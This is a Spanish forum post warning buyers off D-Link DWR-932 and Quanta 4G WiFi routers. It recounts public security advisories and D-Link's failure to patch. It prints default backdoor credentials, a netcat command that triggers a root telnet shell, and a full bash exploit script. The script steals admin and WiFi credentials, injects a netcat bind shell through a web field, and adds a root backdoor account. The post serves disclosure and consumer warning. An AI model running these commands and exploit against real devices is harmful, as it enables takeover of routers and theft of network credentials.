D-Link WiFi+4G: Unos productos a evitar

[h]Múltiples brechas de seguridad criticas en la gama “quanta router” y los DWR-932[/h]

https://www.wifi-libre.com/img/members/3/dlink_shit_2.jpg

Acabo de publicar un tema sobre el PIN WPS genérico de la gama de CPE WiFi+4G propuesta por D-Link: Todo sobre el Pin generico de los D-Link DWR-932 y Quanta 4G-WiFi
La brecha WiFi es solo una parte del desastre generalizado.

Hay tres avisos de seguridad sobre estos modelos, cada aviso incluye varias brechas de seguridad criticas:
[list=1]
]Multiple vulnerabilities found in the Dlink DWR-932B (backdoor, backdoor accounts, weak WPS, RCE …) de Pierre KIM @ Pierre kim/ Git Hub/]
]Multiple vulnerabilities found in Quanta LTE routers (backdoor, backdoor accounts, RCE, weak WPS …) de Pierre KIM @ Pierre kim / Git Hub/]
]D-Link DWR-932 Firmware <= V4.00 Authentication Bypass - Password Disclosure de Saeed reza ZAMANIAN @ PacketStorm/]
[/list]

Afectan estos routers
[list=1]
]https://www.wifi-libre.com/img/members/3/quanta_wps_7.jpg
- Quanta 4G WiFi Router QDH
- Quanta 4G WiFi Router UNE
- Quanta 4G WiFi Router
* MOBILY** (QDH-Mobily - CPE342X)
- Quanta 4G WiFi Router Yoomee/*]
]https://www.wifi-libre.com/img/members/3/D-Link_DWR-932_2.png
- El router portátil D-Link DWR-932 /
]
[/list]

[h]Varias Puertas traseras[/h]
Podemos hablar por ejemplo del DWR-932.
Tiene el servicio telnet y ssh habilitado por defecto (sin que el usuario este advertido) con dos cuentas.
Sus credenciales son muuuuuy originales.
[list=*]
]admin:admin/]
]root:1234/]
[/list]
Hay que ser un maestro de la ingeniería social para encontrarlos :lol:
Es un buen ejemplo para ilustrar la magnitud de la catástrofe.
Hay backdoor mas sofisticadas como esta:

[quote]If a client sends “HELODBG” to the router, the router will execute
/sbin/telnetd -l /bin/sh, allowing to access without authentication
to the router as root.[/quote]
Esta si que es original, esto no lo podemos negar: Es possible abrir una consola root mandando la palabra HELODBG sobre el puerto 39889
La mandamos

user@kali:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889 Hello ^C
Parramos el proceso (estamos autenticados) y podemos ahora lanzar un sesión telnet sin tener que entrar los credenciales:

[code]user@kali:~$ telnet 192.168.1.1
Trying 192.168.1.1…
Connected to 192.168.1.1.
Escape character is ‘^]’.

OpenEmbedded Linux homerouter.cpe


msm 20141210 homerouter.cpe

/ # id
uid=0(root) gid=0(root)[/code]

Chapeau D-Link!

[h]Varias formas de ejecutar comandos arbitrariamente para tomar el control remoto del equipo[/h]
Podéis admirar este pequeño exploit en bash que
[list=1]
]- Se salta los credenciales para entrar en la interfaz/]
]- Obtiene los credenciales de administrador con el infoleak/]
]- Prepara el terreno para realizar de una “petición en sitios cruzados” (CSRF token)/]
]- Habilita una puerta trasera con privilegios root/]
]- Crea una cuenta ssh para el manejo remoto del dispositivo/]
]- Para finalmente conectarse mediante servicio ssh con la cuenta que dispone de todos los privilegios requeridos recién creada,/]
[/list]

[quote]#!/bin/sh

TMP_DIR=$(mktemp -d)

echo -n “Stage [1] - Bypassing authentication …”

wget -qO${TMP_DIR}/stage1-axx ‘http://192.168.1.1/data.ria?CfgType=get_homeCfg&file=system
wget -qO${TMP_DIR}/stage1-wifi ‘http://192.168.1.1/data.ria?CfgType=get_homeCfg&file=wifi
wget -qO${TMP_DIR}/stage1-network ‘http://192.168.1.1/data.ria?DynUpdate=up_5s

echo " OK"
echo -n " local admin = "
http_login=$(grep web_usrname ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e ‘s#"##g;s#=# #’ | awk ‘{ print $2 }’)
echo $http_login
echo -n " local passw = "
http_password=$(grep web_passwd ${TMP_DIR}/stage1-axx | tail -n 1 | sed -e ‘s#"##g;s#=# #’ | awk ‘{ print $2 }’)
echo $http_password
echo -n " wifi access point = "
grep ssid ${TMP_DIR}/stage1-wifi | head -n 1 | sed -e ‘s#"##g;s#=# #’ | awk ‘{ print $2 }’
echo -n " wifi password = "
grep wpa_passphrase= ${TMP_DIR}/stage1-wifi | head -n 1 | sed -e ‘s#"##g;s#=# #’ | awk ‘{ print $2 }’
echo -n " WPS PIN = "
grep enrollee_pin ${TMP_DIR}/stage1-wifi | sed -e ‘s#"##g;s#=# #’ | awk ‘{ print $2 }’
echo -n " guest wifi access point = "
grep ssid ${TMP_DIR}/stage1-wifi | tail -n 1 | sed -e ‘s#"##g;s#=# #’ | awk ‘{ print $2 }’
echo -n " guest wifi password = "
grep wpa_passphrase= ${TMP_DIR}/stage1-wifi | tail -n 1 | sed -e ‘s#"##g;s#=# #’ | awk ‘{ print $2 }’

echo -n " public ip = "
json_xs -t json-pretty < ${TMP_DIR}/stage1-network | sort | grep ip | head -n 2 | tail -n 1 | sed -e ‘s#"##g;s#,##’ | awk ‘{ print $3 }’
echo -n " gateway = "
json_xs -t json-pretty < ${TMP_DIR}/stage1-network | sort | grep gateway | head -n 2 | tail -n 1 | sed -e ‘s#"##g;s#,##’ | awk ‘{ print $3 }’
echo -n " subnet mask = "
json_xs -t json-pretty < ${TMP_DIR}/stage1-network | sort | grep subnet_mask | head -n 2 | tail -n 1 | sed -e ‘s#"##g;s#,##’ | awk ‘{ print $3 }’
echo -n " dns server #1 = "
json_xs -t json-pretty < ${TMP_DIR}/stage1-network | sort | grep dns1 | head -n 2 | tail -n 1 | sed -e ‘s#"##g;s#,##’ | awk ‘{ print $3 }’
echo -n " dns server #2 = "
json_xs -t json-pretty < ${TMP_DIR}/stage1-network | sort | grep dns2 | head -n 2 | tail -n 1 | sed -e ‘s#"##g;s#,##’ | awk ‘{ print $3 }’

echo
echo -n “Stage [2] - RCE …”
http_login=$(echo $http_login | tr -d ‘\r’)
http_password=$(echo $http_password | tr -d ‘\r’)
http_session=$(wget -qO/dev/null --server-response --post-data=“uname=$http_login&passwd=$http_password” http://192.168.1.1/login.cgi 2>&1 | grep Cooki | awk ‘{ print $2 }’)
http_csrf_token=$(wget -qO- --header=“Cookie: ${http_session=}” “http://192.168.1.1/data.ria?token=1”)
wget -qO/dev/null --header=“Cookie: ${http_session}” --post-data=“{"CfgType":"tracert","cmd":"tracert","url":"`/bin/nc -l -p 1337 -e /bin/ash`","authID":"${http_csrf_token}"}” “http://192.168.1.1/webpost.cgi
echo " OK"
echo “Stage [3] - Checking the router … OK”
(echo id; echo echo “backdoor:htEcF9TWn./9Q:0:0:backdoor:/:/bin/sh >> /etc/passwd” ; echo exit) | nc 192.168.1.1 1337
echo -n “Stage [4] - Creating a backdoor account …”
echo " OK"
echo “Stage [5] - Connecting as backdoor/admin to the remote sshd …”
echo
echo “Have fun!”
echo
expect -c ‘set timeout 3; spawn ssh backdoor@192.168.1.1; expect “password: $”; send “admin\r”; interact’
[/quote]
En la proximna versión se hará tambien la colada. :stuck_out_tongue:

[h] Respuesta lamentable por parte de D-Link[/h]
Se podría excusar unos fallos tan groseros si se corigierán
El problema es que desde D-Link han dejado muy caro que nos será el caso si miramos el “Time line” (la cronología) de los “full dicslosures

[quote]## Report Timeline

  • Dec 04, 2015: Vulnerabilities found by Pierre Kim in Quanta routers.
  • Apr 04, 2016: A public advisory about Quanta routers is sent to
    security mailing lists.
  • Jun 09, 2016: Pierre Kim is contacted by Gianni Carabelli about
    Dlink DWR-932 router’s similarities to Quanta routers.
  • Jun 14, 2016: Pierre Kim thanks Gianni Carabelli and says he will
    contact Dlink.
  • Jun 15, 2016: Dlink is contacted about vulnerabilities in the
    DWR-932 router (=~ 20 vulns).
  • Jun 16, 2016: Dlink Security Incident Response Team (William Brown)
    acknowledges the receipt of the report and says they will provide
    further updates.
  • Jul 09, 2016: Pierre asks for updates.
  • Jul 09, 2016: Dlink says they will have correction by July 15.
  • Jul 19, 2016: Pierre asks for updates.
  • Aug 19, 2016: Pierre asks for updates.
  • Sep 12, 2016: Pierre asks for updates and says he will soon release
    an advisory as 90 days have passed without news.
  • Sep 12, 2016: cert@cert.org is contacted to get pieces of advice
    about the disclosure.
  • Sep 13, 2016: CERT recommends to try to contact D-link and to
    publish the advisory.
  • Sep 13, 2016: **Dlinks says they don’t have a schedule for a firmware
    release. **Customers who have questions should contact their
    local/regional D-Link support offices for the latest information.
    support.dlink.com will be updated in the next 24 hours.
  • Sep 28, 2016: A public advisory is sent to security mailing lists.[/quote]
  • El autor ha comunicado las casi 20 vulnerabilidades a D-Link el 15 de junio 2016 y se le ha respondido enseguida (día 16) diciendo que se iba a hacer una actualización de seguridad
  • Tras esperar tres meses Pierre KIM ha amenazado con hacer publicas las brechas si D-Link no hacía nada en un plazo de 90 diás.
    Son 3 meses más, lo que les dejaba en total 6 meses para arreglar estos fallos
  • ¿6 meses para arreglar un firmware?
    Es demasiado difícil para D-Link y tiran la toalla. :mad: El cliente se puede ir a freír espárragos si quiere un router seguro: Ninguna actualización de seguridad al horizonte.
    Absolutamente vergonzoso.
    Sobre todo por parte de una marca “con pretensiones” que nos hace pagar una “supuesta” calidad
    Por ejemplo el DWR-932 se compra alrededor de 120€ en mediamarket (si lo compras, que eres tonto)
    https://www.wifi-libre.com/img/members/3/dlink_is_shit_1.jpg
    102€ + la IVA = superamos los 120€
    El precio de una router Aafa ac1200… ¡Alucinante!
    Y es mucho más que lo que cuestan modelos similares de otras marcas y sin tantas brechas de seguridad
    He presentado en el foro Huawei un router 4G WiFi portátil que cuesta unos 80€ (que no son pocos) para un nivel de prestaciones más que comparable .
    [h]Los routers WiFi + 4G de D-Link no son unos routers: Son unos enormes agujeros de seguridad con antenas.
    ¡Es un timo y son inseguros!¡No los compres! [/h]